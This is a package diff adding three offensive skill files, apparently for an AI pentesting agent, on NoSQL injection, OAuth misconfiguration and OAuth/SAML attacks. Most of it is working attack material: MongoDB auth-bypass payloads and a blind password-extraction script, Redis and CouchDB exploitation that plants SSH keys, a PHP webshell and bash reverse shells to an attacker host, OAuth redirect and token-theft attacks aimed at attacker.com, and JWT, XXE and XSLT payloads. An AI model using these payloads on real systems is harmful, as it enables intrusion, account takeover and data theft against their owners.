@aegis-scan/skills 0.4.0 → 0.5.1

package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md

@@ -0,0 +1,204 @@
+<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
+
+---
+name: nosql-injection
+description: NoSQL injection testing — MongoDB operator injection, authentication bypass, blind injection, Redis command injection, and CouchDB exploitation techniques
+---
+
+# NoSQL Injection
+
+NoSQL injection = inject operators into JSON/BSON queries to bypass authentication, extract data, or execute commands. Most common: MongoDB `$ne`, `$gt`, `$regex`, `$where`.
+
+---
+
+## MongoDB Injection
+
+### Authentication Bypass
+
+    # Login form sends: {"username": "admin", "password": "secret"}
+
+    # Method 1: $ne operator (not equal) — bypass password:
+    # HTTP POST (JSON body):
+    {"username": "admin", "password": {"$ne": ""}}
+    # OR:
+    {"username": "admin", "password": {"$gt": ""}}
+
+    # URL-encoded (application/x-www-form-urlencoded):
+    username=admin&password[$ne]=invalid
+    username=admin&password[$gt]=a
+    username[$ne]=xxx&password[$ne]=xxx   # Bypass both fields
+
+    # GET parameter:
+    GET /api/users?username[$ne]=xxx&password[$ne]=xxx
+
+    # If using JSON:
+    {"username": {"$in": ["admin", "administrator", "root"]}, "password": {"$ne": ""}}
+
+### Operator Injection
+
+    # Available operators:
+    $eq, $ne, $gt, $gte, $lt, $lte    # Comparison
+    $in, $nin                          # Array membership
+    $regex                             # Regular expression match
+    $where                             # JavaScript evaluation (dangerous!)
+    $exists                            # Field existence
+
+    # Extract data with $regex (blind/semi-blind):
+    # Test if username starts with 'a':
+    {"username": {"$regex": "^a"}, "password": {"$ne": ""}}
+    {"username": {"$regex": "^ad"}, "password": {"$ne": ""}}
+    # Continue until full username recovered
+
+    # $where JavaScript injection (if enabled — disabled in MongoDB 4.4+):
+    {"$where": "this.username == 'admin' && sleep(2000)"}    # Time-based blind
+    {"$where": "function() { return this.username == 'admin' }"}
+
+### Automated Tool — nosqlmap
+
+    # Install: pip install nosqlmap --break-system-packages
+    # OR: git clone https://github.com/codingo/NoSQLMap /home/pentester/tools/nosqlmap
+    python3 /home/pentester/tools/nosqlmap/nosqlmap.py
+
+    # nosqli (simpler tool):
+    # pip install nosqli --break-system-packages
+    nosqli -u "http://target.com/login" -p "username=admin&password=INJECT"
+
+### PHP-specific NoSQL Injection
+
+    # PHP arrays in form data:
+    # POST: username=admin&password[%24ne]=invalid
+    # PHP receives: $_POST['password'] = ['$ne' => 'invalid']
+    # MongoDB query: {username: "admin", password: {$ne: "invalid"}}
+
+---
+
+## MongoDB Direct Exploitation (If Port 27017 Exposed)
+
+    # Check if MongoDB is exposed:
+    nmap -p 27017 <target> -sV
+
+    # Connect (no auth by default on older versions):
+    mongo <target>:27017
+    # OR:
+    mongosh <target>:27017
+
+    # MongoDB shell commands:
+    show dbs                          # List databases
+    use admin                         # Switch database
+    show collections                  # List collections
+    db.users.find()                   # Dump all users
+    db.users.find({}, {username:1, password:1})  # Specific fields
+    db.users.find().limit(10)         # First 10 records
+    db.getUsers()                     # Get DB users (admin DB)
+
+    # With credentials:
+    mongosh "mongodb://admin:password@<target>:27017/admin"
+
+---
+
+## Redis Command Injection (via SSRF or Direct Access)
+
+If Redis is exposed or reachable via SSRF:
+
+    # Direct access (no auth):
+    redis-cli -h <target> -p 6379
+
+    # Redis commands:
+    INFO                              # Server info, version
+    KEYS *                            # List all keys
+    GET <key>                         # Get value
+    CONFIG GET dir                    # Working directory
+    CONFIG GET dbfilename             # DB filename
+
+    # Redis RCE — write SSH key:
+    redis-cli -h <target>
+    > CONFIG SET dir /root/.ssh/
+    > CONFIG SET dbfilename authorized_keys
+    > SET key "\n\nssh-rsa AAAA...<attacker_pubkey>...\n\n"
+    > BGSAVE
+
+    # Redis RCE — write webshell (if web root known):
+    > CONFIG SET dir /var/www/html/
+    > CONFIG SET dbfilename shell.php
+    > SET key "<?php system($_GET['cmd']); ?>"
+    > BGSAVE
+
+    # Redis RCE via cron:
+    > CONFIG SET dir /var/spool/cron/crontabs/
+    > CONFIG SET dbfilename root
+    > SET key "\n\n* * * * * bash -i >& /dev/tcp/<attacker>/4444 0>&1\n\n"
+    > BGSAVE
+
+---
+
+## CouchDB Exploitation
+
+    # Discovery:
+    nmap -p 5984 <target>
+
+    # CouchDB API (no auth by default on older versions):
+    curl http://<target>:5984/           # Version info
+    curl http://<target>:5984/_all_dbs   # List databases
+    curl http://<target>:5984/_users/_all_docs   # List users
+    curl http://<target>:5984/<db>/_all_docs     # All documents
+
+    # CVE-2017-12635 — Admin account creation (no auth):
+    curl -X PUT http://<target>:5984/_users/org.couchdb.user:hacker \
+      -H "Content-Type: application/json" \
+      -d '{"type":"user","name":"hacker","password":"hacker","roles":["_admin"],"_id":"org.couchdb.user:hacker"}'
+
+    # CVE-2017-12636 — RCE via query_servers:
+    curl -X PUT http://admin:admin@<target>:5984/_config/query_servers/cmd \
+      -d '"bash -i >& /dev/tcp/<attacker>/4444 0>&1"'
+    # Trigger: create a design doc with map function
+
+---
+
+## Blind NoSQL Injection (Response-Based)
+
+    # Boolean-based: different response for true vs false condition
+    # True condition (admin exists):
+    {"username": "admin", "password": {"$ne": "xxx"}}  # → login success
+
+    # False condition:
+    {"username": "admin", "password": "wrongpassword"}  # → login fail
+
+    # Extract field character by character with $regex:
+    python3 -c "
+    import requests, string
+
+    url = 'http://target.com/login'
+    charset = string.printable
+
+    def check(regex):
+        r = requests.post(url, json={'username': 'admin', 'password': {'\$regex': regex}})
+        return 'Welcome' in r.text  # Adjust success indicator
+
+    password = ''
+    while True:
+        found = False
+        for c in charset:
+            if check(f'^{password}{c}'):
+                password += c
+                print(f'Password so far: {password}')
+                found = True
+                break
+        if not found:
+            print(f'Final password: {password}')
+            break
+    "
+
+---
+
+## Pro Tips
+
+1. Try `password[$ne]=x` in URL-encoded forms — many developers forget to sanitize array input
+2. `$regex` operator enables character-by-character data extraction (like SQL LIKE)
+3. MongoDB without auth on port 27017 = full database dump in seconds
+4. Redis write access → SSH key injection or webshell = reliable RCE path
+5. CouchDB CVE-2017-12635 admin creation is still valid on many unpatched instances
+6. If `$where` works → JavaScript eval = time-based blind injection via `sleep()`
+
+## Summary
+
+NoSQL injection = operator injection in JSON: `{"password": {"$ne": ""}}` bypasses auth. MongoDB: try `$ne`, `$gt`, `$regex` operators in login forms. Direct MongoDB on 27017 (no auth) = dump all databases immediately. Redis on 6379 = write SSH key for RCE. CouchDB = check CVE-2017-12635 admin creation endpoint.

package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md

@@ -0,0 +1,220 @@
+<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
+
+# OAuth 2.0 / OpenID Connect Misconfigurations
+
+Test OAuth flows for open redirect ATO, state bypass, token leakage, PKCE bypass, implicit flow abuse.
+
+## Phase 1: Reconnaissance
+
+```bash
+# Discover OAuth endpoints:
+curl -s "https://target.com/.well-known/openid-configuration" | jq .
+curl -s "https://target.com/.well-known/oauth-authorization-server" | jq .
+curl -s "https://target.com/oauth/.well-known/openid-configuration" | jq .
+
+# Extract key endpoints:
+OIDC=$(curl -s "https://target.com/.well-known/openid-configuration")
+echo "Auth endpoint: $(echo $OIDC | jq -r '.authorization_endpoint')"
+echo "Token endpoint: $(echo $OIDC | jq -r '.token_endpoint')"
+echo "JWKS: $(echo $OIDC | jq -r '.jwks_uri')"
+
+# Find client_id in JavaScript source:
+curl -s "https://target.com/" | grep -oE 'client_id["\s:=]+["\x27][a-zA-Z0-9_-]+["\x27]'
+curl -s "https://target.com/static/app.js" | grep -oE '"client_id":"[^"]+"'
+```
+
+---
+
+## Phase 2: Open Redirect → Account Takeover
+
+```bash
+# If redirect_uri is loosely validated, steal auth code:
+
+# Test open redirect with different bypass techniques:
+CLIENT_ID="known_client_id"
+AUTH_ENDPOINT="https://auth.target.com/oauth/authorize"
+
+# Technique 1: Extra path after allowed URI:
+EVIL_REDIRECT="https://allowed.target.com/callback/../../../attacker.com"
+curl -s "$AUTH_ENDPOINT?client_id=$CLIENT_ID&redirect_uri=$EVIL_REDIRECT&response_type=code"
+
+# Technique 2: Parameter pollution:
+EVIL_REDIRECT2="https://allowed.target.com/callback?redirect=https://attacker.com"
+curl -s "$AUTH_ENDPOINT?client_id=$CLIENT_ID&redirect_uri=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$EVIL_REDIRECT2'))")"
+
+# Technique 3: Allowed domain as subdomain of attacker:
+# allowed: target.com → try: target.com.attacker.com
+EVIL_SUB="https://target.com.attacker.com/callback"
+
+# Technique 4: URL fragment bypass:
+EVIL_FRAG="https://allowed.target.com/callback#@attacker.com"
+
+# Technique 5: Wildcard abuse:
+# If allowed: https://app.target.com/* → try: https://app.target.com/redirect?url=attacker.com
+
+# Test each:
+for redirect in "$EVIL_REDIRECT" "$EVIL_REDIRECT2" "$EVIL_SUB" "$EVIL_FRAG"; do
+  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
+    "$AUTH_ENDPOINT?client_id=$CLIENT_ID&redirect_uri=$(python3 -c "import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))" "$redirect")&response_type=code")
+  echo "$STATUS → $redirect"
+done
+```
+
+---
+
+## Phase 3: State Parameter Bypass (CSRF on OAuth)
+
+```bash
+# No state parameter = CSRF attack on OAuth flow
+# Attacker crafts authorization URL, victim clicks → attacker's code linked to victim account
+
+# Test if state is required:
+curl -s -L "$AUTH_ENDPOINT?client_id=$CLIENT_ID&redirect_uri=https://app.target.com/callback&response_type=code" \
+  -w "%{redirect_url}"
+
+# Test if state is validated (reuse state across sessions):
+# 1. Initiate legit OAuth flow → capture state value
+# 2. Craft URL with same state value in different session
+# 3. Complete flow → check if code is accepted
+
+# Test reuse of same state multiple times:
+STATE_VAL="predictable_or_captured_state"
+curl -s "$AUTH_ENDPOINT?client_id=$CLIENT_ID&redirect_uri=https://app.target.com/callback&response_type=code&state=$STATE_VAL"
+# Second request with same state:
+curl -s "$AUTH_ENDPOINT?client_id=$CLIENT_ID&redirect_uri=https://app.target.com/callback&response_type=code&state=$STATE_VAL"
+```
+
+---
+
+## Phase 4: Authorization Code Leakage
+
+```bash
+# Code in Referer header:
+# When callback URL redirects to another page, code may be in Referer
+
+# Check if code is logged or appears in URLs:
+# After login, check page source for authorization codes:
+curl -s "https://app.target.com/dashboard" -H "Cookie: SESSION" | \
+  grep -oE 'code=[a-zA-Z0-9_-]+'
+
+# Test code reuse (should be single-use):
+CODE="captured_auth_code"
+# Use code once:
+curl -s -X POST "https://auth.target.com/oauth/token" \
+  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.target.com/callback&client_id=$CLIENT_ID"
+# Try to reuse:
+curl -s -X POST "https://auth.target.com/oauth/token" \
+  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.target.com/callback&client_id=$CLIENT_ID"
+
+# Code injection — test if arbitrary code can be submitted:
+curl -s -X POST "https://app.target.com/oauth/callback" \
+  -d "code=attacker_code&state=valid_state"
+```
+
+---
+
+## Phase 5: Token Endpoint Attacks
+
+```bash
+# Test client authentication bypass:
+# Try submitting without client_secret:
+curl -s -X POST "https://auth.target.com/oauth/token" \
+  -d "grant_type=authorization_code&code=CODE&client_id=$CLIENT_ID&redirect_uri=https://app.target.com/callback"
+
+# Test implicit flow (response_type=token) — token in URL fragment:
+curl -s -L "$AUTH_ENDPOINT?client_id=$CLIENT_ID&redirect_uri=https://app.target.com/callback&response_type=token" \
+  -w "%{redirect_url}" | grep -oE 'access_token=[^&]+'
+
+# Scope escalation:
+# Request higher scope than you're allowed:
+curl -s "$AUTH_ENDPOINT?client_id=$CLIENT_ID&redirect_uri=https://app.target.com/callback&response_type=code&scope=openid+email+admin+write:all"
+
+# Token refresh abuse (unlimited refresh):
+REFRESH_TOKEN="captured_refresh_token"
+for i in $(seq 1 5); do
+  NEW_TOKEN=$(curl -s -X POST "https://auth.target.com/oauth/token" \
+    -d "grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&client_id=$CLIENT_ID" | jq -r '.access_token')
+  echo "Iteration $i: $NEW_TOKEN"
+done
+```
+
+---
+
+## Phase 6: PKCE Bypass (Mobile/SPA)
+
+```bash
+# PKCE protects public clients — test if verifier is actually checked
+
+# Generate legitimate PKCE pair:
+python3 -c "
+import secrets, hashlib, base64
+
+verifier = secrets.token_urlsafe(64)
+challenge = base64.urlsafe_b64encode(
+    hashlib.sha256(verifier.encode()).digest()
+).rstrip(b'=').decode()
+
+print('verifier:', verifier)
+print('challenge:', challenge)
+"
+
+# Step 1: Initiate with code_challenge:
+# Step 2: Try to exchange code WITHOUT code_verifier:
+curl -s -X POST "https://auth.target.com/oauth/token" \
+  -d "grant_type=authorization_code&code=CODE&client_id=$CLIENT_ID&redirect_uri=https://app.target.com/callback"
+  # Note: no code_verifier — if this succeeds, PKCE is not enforced
+
+# Step 3: Try with wrong verifier:
+curl -s -X POST "https://auth.target.com/oauth/token" \
+  -d "grant_type=authorization_code&code=CODE&client_id=$CLIENT_ID&redirect_uri=https://app.target.com/callback&code_verifier=wrong_verifier"
+```
+
+---
+
+## Phase 7: Misconfigured Token Validation
+
+```bash
+# Test if access token from one app works on another:
+APP1_TOKEN="token_from_app1"
+# Use on app2:
+curl -s "https://app2.target.com/api/user" \
+  -H "Authorization: Bearer $APP1_TOKEN"
+
+# Test token audience (aud) confusion:
+python3 -c "
+import jwt, base64, json
+
+# Decode without verification:
+parts = '$APP1_TOKEN'.split('.')
+payload = json.loads(base64.b64decode(parts[1] + '=='))
+print('Audience (aud):', payload.get('aud'))
+print('Issuer (iss):', payload.get('iss'))
+print('Client ID:', payload.get('azp'))
+"
+
+# Test if expired tokens are still accepted:
+# Capture old token, test 1 hour later:
+curl -s "https://app.target.com/api/profile" \
+  -H "Authorization: Bearer EXPIRED_TOKEN"
+
+# Test if token can be used across environments:
+# Dev token on prod endpoint:
+curl -s "https://api.target.com/v1/user" \
+  -H "Authorization: Bearer DEV_TOKEN"
+```
+
+---
+
+## Pro Tips
+
+1. **Always check `redirect_uri` validation** — it's the most common OAuth bug (P1 severity)
+2. **State = CSRF token** — missing/reusable state is exploitable if you can make victim visit URL
+3. **Scope creep** — try requesting `admin`, `write:*`, `*`, `openid email phone address` in scope
+4. **Look for code in Referer** — auth code in redirect URL gets leaked via Referer header to third-party resources
+5. **PKCE on public clients** — SPAs and mobile apps should enforce PKCE; test without verifier
+6. **Token audience** — access token for `api.target.com` shouldn't work on `app.target.com`
+7. **implicit flow deprecated** — but still common; tokens in URL fragment are logged in browser history
+
+## Summary
+
+OAuth flow: discover endpoints via `.well-known` → grab client_id from JS → test redirect_uri validation (path traversal, subdomain) → check state requirement → test code reuse → test scope escalation → test PKCE enforcement → document redirect chain for ATO PoC.

package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md

@@ -0,0 +1,163 @@
+<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
+
+---
+name: oauth-saml
+description: Exploitation techniques for OAuth 2.0, OpenID Connect (OIDC), and SAML 2.0 implementations
+---
+
+# OAuth 2.0 and SAML 2.0 Vulnerabilities
+
+OAuth 2.0 and SAML 2.0 are complex Single Sign-On (SSO) and authorization protocols. Due to their complexity, misconfigurations and implementation flaws are common, leading to critical vulnerabilities such as authentication bypass, account takeover (ATO), and privilege escalation.
+
+## OAuth 2.0 & OpenID Connect (OIDC)
+
+OAuth 2.0 is an authorization framework, while OpenID Connect is an authentication layer built on top of it. Typical flows include the Authorization Code flow, Implicit flow, and Client Credentials flow.
+
+### Core OAuth 2.0 Attack Vectors
+
+#### 1. Authorization Code Bypass & CSRF (Missing/Weak State)
+If the `state` parameter is missing, predictable, or not properly validated bound to the user's session, attackers can perform CSRF to link their own external account (e.g., Google, Facebook) to the victim's application account.
+
+**Detection:**
+- Check if `state` is present in the initial `/authorize` request.
+- Attempt to reuse a `state` token across different sessions.
+- Send the callback `/callback?code=ATTACKER_CODE` without a state parameter.
+
+**Exploit:**
+```http
+# Attacker initiates flow, intercepts their valid code
+GET /auth/callback?code=ATTACKER_VALID_CODE&state=VICTIM_STATE HTTP/1.1
+Host: target.com
+```
+
+#### 2. Pre-Account Takeover (Account Linking Flaws)
+Occurs when an application allows users to sign up via OAuth, but fails to verify the email address or improperly links accounts based on unverified email claims.
+- **Exploit:** Attacker registers a standard application account using the victim's email (if email verification is missing or bypassable). When the victim later logs in via OAuth (e.g., Sign in with Google), the application links the verified OAuth identity to the attacker-controlled account context, granting the attacker access to the victim's data.
+
+#### 3. Flawed Redirect URI Validation (Open Redirects to Token Leakage)
+If `redirect_uri` is loosely validated, authorization codes or access tokens can be leaked to attacker-controlled domains.
+- **Path Traversal:** `redirect_uri=https://target.com/callback/../../attacker.com`
+- **Subdomain Takeover:** `redirect_uri=https://sub.target.com/callback` (where `sub.target.com` is vulnerable)
+- **Parameter Pollution:** `redirect_uri=https://target.com/callback&redirect_uri=https://attacker.com`
+- **CRLF Injection:** Injecting new lines to bypass regex matching.
+- **Open Redirect Chaining:** If the valid `redirect_uri` itself has an open redirect vulnerability, it can leak the fragment/query parameters: `redirect_uri=https://target.com/valid_callback?next=https://attacker.com`
+
+#### 4. PKCE (Proof Key for Code Exchange) Downgrade & Bypass
+PKCE prevents authorization code interception in public clients (mobile apps, SPAs).
+- **Downgrade Attack:** If the server supports PKCE but doesn't *enforce* it, an attacker catching the `code` can exchange it without providing `code_verifier`.
+- **Method Manipulation:** Dropping `code_challenge_method=S256` might cause the server to fall back to `plain`, making the challenge equal to the verifier.
+
+#### 5. SSRF via OpenID Connect Dynamic Client Registration (DCR)
+DCR allows applications to automatically register themselves as clients with an IdP.
+- **logo_uri / policy_uri SSRF:** IdPs may fetch resources specified during registration.
+- **request_uri SSRF:** In OIDC, a client can pass authentication parameters via a JWT hosted at a `request_uri`. The IdP fetches this URI, leading to SSRF.
+
+```http
+# Exploiting request_uri SSRF on IdP
+GET /authorize?client_id=YOUR_CLIENT_ID&response_type=code&request_uri=http://internal-metadata-server/latest/meta-data/ HTTP/1.1
+Host: idp.target.com
+```
+
+#### 6. JWT Attacks (OIDC Tokens)
+Since OIDC relies heavily on JSON Web Tokens (ID Tokens), all JWT attacks apply to the SSO implementation:
+- **`alg: None` bypass:** Changing the algorithm to `None` and stripping the signature.
+- **HMAC/RSA Key Confusion:** Changing `alg` from `RS256` to `HS256` and signing the token with the public key as the secret.
+- **JKU/JWK Header Injection:** Instructing the server to fetch the public key (to verify the token) from an attacker-controlled URL (`jku`) or embedding the attacker's public key directly within the header (`jwk`).
+- **kid (Key ID) Path Traversal:** `kid: "../../public/dev_key.pem"` or SQL injection `kid: "key1' UNION SELECT 'attacker_key'--"`.
+
+---
+
+## SAML 2.0
+
+Security Assertion Markup Language (SAML) uses XML-based assertions between an Identity Provider (IdP) and a Service Provider (SP).
+
+### Core SAML 2.0 Attack Vectors
+
+#### 1. XML Signature Wrapping (XSW)
+SAML messages are digitally signed, but SPs often fail to validate *which* part of the XML is signed versus which part is processed for authentication. XSW involves manipulating the XML structure so the signature validates against an original, unmodified assertion, while the application logic parses a forged, injected assertion.
+- **XSW1:** Clone the `Response` and wrap the legitimate assertion.
+- **XSW2:** Wrap the forged assertion inside the legitimate assertion.
+- **XSW3-8:** Various structural manipulations (changing IDs, duplicating `Assertion` blocks, wrapping the signature itself).
+- **Tooling:** Use `SAML Raider` (Burp Extension) to automatically generate XSW 1-8 payloads.
+
+#### 2. Signature Stripping
+If the SP requires assertions to be signed but doesn't strictly enforce it, an attacker might simply remove the `<ds:Signature>` block entirely. If the SP falls back to unauthenticated parsing, ATO occurs.
+
+#### 3. Certificate Faking / IdP Spoofing
+If the SP doesn't explicitly check the thumbprint or issuer of the certificate signing the SAML response (relying solely on cryptographic validity), an attacker can sign a forged SAML response with their own self-signed certificate.
+
+#### 4. SAML Comment Injection
+If the XML parser behavior differs from the application logic string parsing, attackers can alter user identifiers.
+- **Attack:** An attacker registers `admin<!-- test -->@target.com`.
+- **Execution:** When authenticated, the SAML XML contains `<NameID>admin<!-- test -->@target.com</NameID>`.
+- **Bypass:** The XML parser validates the signature. However, if the application extracts the text node and ignores comments, it might interpret the identity as `admin@target.com`, leading to ATO of the admin account.
+
+#### 5. XML External Entity (XXE) Execution
+Standard XXE attacks against the SAML SP endpoint. Since SAML is purely XML, injecting external entities into the `SAMLResponse` can result in LFI or SSRF.
+```xml
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+<samlp:Response ...>
+   <saml:Issuer>&xxe;</saml:Issuer>
+   ...
+</samlp:Response>
+```
+
+#### 6. XSLT Injection
+Some SAML implementations parse arbitrary XSLT stylesheets included within the XML Signature `<ds:Transforms>` block. Attackers can inject malicious XSLT to achieve RCE or file read.
+```xml
+<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
+  <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+     ... malicious XSLT payloads ...
+  </xsl:stylesheet>
+</ds:Transform>
+```
+
+## Testing Methodology
+
+### For OAuth 2.0 / OIDC
+1. **Map the Implementation:** Identify `client_id`, `redirect_uri`, `response_type`, `state`, `code_challenge`.
+2. **State & CSRF Testing:** Drop the `state` parameter or swap it with another session's state. Attempt an account linking CSRF.
+3. **Redirect URI Fuzzing:** Test all variations of open redirects (`.`, `..`, `@`, `\`, encoded characters) on the `redirect_uri`.
+4. **Token Replay & Modification:** Inspect access tokens and ID tokens. If JWT, attempt algorithm downgrade, key confusion, and signature bypass.
+5. **SSRF Probes:** Check if DCR is enabled (`/.well-known/openid-configuration`). Test `logo_uri` and `request_uri` for SSRF.
+6. **Pre-ATO Checks:** Register an account natively using a victim's email. Then attempt to SSO as the victim.
+
+### For SAML 2.0
+1. **Intercept SAMLResponse:** Base64 decode the SAML payload passed to the ACS (Assertion Consumer Service) URL.
+2. **Signature Stripping:** Remove the signature block entirely, re-encode, and submit.
+3. **SAML Raider Autotests:** Use the SAML Raider extension in Burp Suite to apply all XSW payloads to the intercepted request.
+4. **XXE Probing:** Inject standard XXE payloads (OOB and error-based) into the assertion tags.
+5. **Comment Injection:** Create accounts like `admin<!--X-->@domain.com` and test for username truncation during parsing.
+6. **Time/Validity Tampering:** Modify `NotBefore` and `NotOnOrAfter` timestamps within the assertion.
+
+## Detection Tools
+
+```bash
+# jwt_tool - Toolkit for testing JWTs (OIDC)
+python3 jwt_tool.py <JWT> -M pb
+python3 jwt_tool.py <JWT> -T
+
+# SAML Provider assessment
+# Use Burp Suite SAML Raider extension.
+# It automatically intercepts SAML responses, decodes them, and provides 1-click XSW and certificate spoofing attacks.
+```
+
+## Indicators of Vulnerability
+
+- **OAuth:** Predictable `state` parameters; acceptance of `redirect_uri` via Regex rather than strict allowlists; JWTs signed with symmetric algorithms (`HS256`) when relying on public endpoints.
+- **SAML:** Missing constraints on XML signatures (e.g., signing the `Response` but not the `Assertion`); outdated XML parsers allowing DTD definitions (XXE); lack of assertion expiration enforcement.
+
+## Impact
+
+- **Account Takeover (ATO):** Full access to victim accounts (via XSW, signature stripping, CSRF, or flawed account linking).
+- **Data Exfiltration:** Accessing sensitive user data (PII) via stolen or leaked Access Tokens.
+- **SSRF/RCE:** Exploiting IdP infrastructure via XSLT injection or `request_uri` SSRF.
+- **Bypass 2FA/MFA:** SAML assertions or OAuth tokens are often granted *after* MFA. Forging these tokens bypasses all primary and secondary authentication mechanisms.
+
+## Pro Tips
+
+1. **URL Encoding with SAML:** SAML bindings differ. HTTP-Redirect uses Deflate + Base64 + URL-encode. HTTP-POST uses just Base64 + URL-encode. Modifying SAML manually? Ensure proper re-encoding based on the binding type.
+2. **Access Token vs ID Token:** In OIDC, the Access Token gives access to APIs (stateless or stateful), while the ID Token is meant for the client app to know *who* logged in. Don't confuse them.
+3. **SAML Issuer Checking:** Just because an XSW attack works, the SP might still validate the `Issuer` field. Ensure you are modifying the correct assertion block that the SP uses for business logic.
+4. **Implicit Flow is Dead:** The OAuth 2.0 Security Best Current Practice deprecates the Implicit Flow (`response_type=token`). If you see it, flag it as a finding and aggressively hunt for token leakage via Referer headers, Open Redirects, and browser histories.